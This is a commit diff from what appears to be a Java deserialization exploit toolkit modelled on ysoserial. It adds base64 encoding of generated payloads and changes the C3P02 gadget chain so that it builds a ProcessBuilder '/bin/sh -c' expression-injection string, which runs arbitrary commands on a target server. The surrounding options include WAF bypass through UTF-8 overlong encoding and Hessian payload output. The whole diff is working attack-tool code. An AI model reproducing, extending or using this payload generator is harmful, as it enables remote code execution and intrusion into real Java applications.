base64编码输出Payload

src/main/java/com/qi4l/jndi/controllers/ysoserial.java

@@ -9,6 +9,7 @@ import com.qi4l.jndi.gadgets.utils.StringUtil;
 import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper;
 import org.apache.commons.cli.*;
 
+import java.io.ByteArrayOutputStream;
 import java.io.FileOutputStream;
 import java.io.OutputStream;
 import java.util.*;
@@ -19,7 +20,7 @@ import static com.qi4l.jndi.gadgets.utils.StringUtil.isFromExploit;
 public class ysoserial {
 
     public static CommandLine cmdLine;
-    public static Object PAYLOAD = null;
+    public static Object      PAYLOAD = null;
 
     public static void ysoserial(String[] args) {
         final Options options = getOptions();
@@ -68,6 +69,10 @@ public class ysoserial {
             Config.FILE = cmdLine.getOptionValue("file");
         }
 
+        if (cmdLine.hasOption("base64")) {
+            Config.BASE64 = true;
+        }
+
         if (cmdLine.hasOption("password")) {
             Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
             Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
@@ -172,6 +177,7 @@ public class ysoserial {
         }
         System.exit(0);
     }
+
     private static Options getOptions() {
         Options options = new Options();
         options.addOption("y", "ysoserial", false, "Java deserialization");
@@ -199,6 +205,7 @@ public class ysoserial {
         options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
         options.addOption("he1", "Hessian1", false, "Hessian1 Output");
         options.addOption("he2", "Hessian2", false, "Hessian2 Output");
+        options.addOption("b64", "base64", false, "base64 encoding");
         return options;
     }
 

src/main/java/com/qi4l/jndi/gadgets/C3P02.java

@@ -18,6 +18,9 @@ import java.sql.SQLException;
 import java.sql.SQLFeatureNotSupportedException;
 import java.util.logging.Logger;
 
+import static com.qi4l.jndi.gadgets.utils.Utils.getJSEngineValue;
+import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass;
+
 /**
  * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
  */
@@ -27,6 +30,12 @@ import java.util.logging.Logger;
 public class C3P02 implements ObjectPayload<Object> {
 
     public Object getObject(String command) throws Exception {
+        if (command.startsWith("EX-") || command.startsWith("LF-")) {
+            command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
+        } else {
+            command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
+        }
+
         PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
         Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
         return b;

src/main/java/com/qi4l/jndi/gadgets/Config/Config.java

@@ -94,6 +94,7 @@ public class Config {
     // 将输入直接写在文件里
     public static String FILE = "out.ser";
     public static Boolean WRITE_FILE = false;
+    public static Boolean BASE64 = false;
     // 是否强制使用 org.apache.XXX.TemplatesImpl
     public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
     // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader

src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java

@@ -3,6 +3,7 @@ package com.qi4l.jndi.gadgets.utils;
 import com.caucho.hessian.io.*;
 import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
 
+import java.util.Base64;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.ObjectOutputStream;
@@ -36,25 +37,40 @@ public class Serializer implements Callable<byte[]> {
     public static void qiserialize(Object obj, final OutputStream out) throws Exception {
         ObjectOutputStream    objOut  = null;
         AbstractHessianOutput AobjOut = null;
+        ByteArrayOutputStream outB64  = new ByteArrayOutputStream();
 
-        if (IS_DIRTY_IN_TC_RESET) {
+        if (IS_UTF_Bypass) {
-            objOut = new SuObjectOutputStream(out);
+            if (BASE64) {
-        } else if (IS_UTF_Bypass) {
+                objOut = new UTF8OverlongObjectOutputStream(outB64);
-            objOut = new UTF8OverlongObjectOutputStream(out);
+            } else {
+                objOut = new UTF8OverlongObjectOutputStream(out);
+            }
         } else if (IS_Hessian1) {
-            AobjOut = new HessianOutput(out);
+            if (BASE64) {
+                AobjOut = new HessianOutput(outB64);
+            } else {
+                AobjOut = new HessianOutput(out);
+            }
             NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
             sf.setAllowNonSerializable(true);
             AobjOut.setSerializerFactory(sf);
         } else if (IS_Hessian2) {
-            AobjOut = new Hessian2Output(out);
+            if (BASE64) {
+                AobjOut = new Hessian2Output(outB64);
+            } else {
+                AobjOut = new Hessian2Output(out);
+            }
             NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
             sf.setAllowNonSerializable(true);
             AobjOut.setSerializerFactory(sf);
             AobjOut.writeObject(obj);
             AobjOut.close();
-        }else {
+        } else {
-            objOut = new ObjectOutputStream(out);
+            if (BASE64) {
+                objOut = new SuObjectOutputStream(outB64);
+            } else {
+                objOut = new SuObjectOutputStream(out);
+            }
         }
 
         if (IS_Hessian1 || IS_Hessian2) {
@@ -62,6 +78,12 @@ public class Serializer implements Callable<byte[]> {
         } else {
             objOut.writeObject(obj);
         }
+
+        if (BASE64) {
+            String encodedString = Base64.getEncoder().encodeToString(outB64.toByteArray());
+            System.out.println(encodedString);
+        }
+
     }
 
     public byte[] call() throws Exception {
@@ -96,7 +118,7 @@ public class Serializer implements Callable<byte[]> {
          * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
          */
         @Override
-        public com.caucho.hessian.io.Serializer getObjectSerializer (Class<?> cl ) throws HessianProtocolException {
+        public com.caucho.hessian.io.Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
             return super.getObjectSerializer(cl);
         }
 
@@ -106,10 +128,10 @@ public class Serializer implements Callable<byte[]> {
          * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
          */
         @Override
-        public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException {
+        public com.caucho.hessian.io.Serializer getSerializer(Class cl) throws HessianProtocolException {
             com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl);
 
-            if ( serializer instanceof WriteReplaceSerializer ) {
+            if (serializer instanceof WriteReplaceSerializer) {
                 return UnsafeSerializer.create(cl);
             }
             return serializer;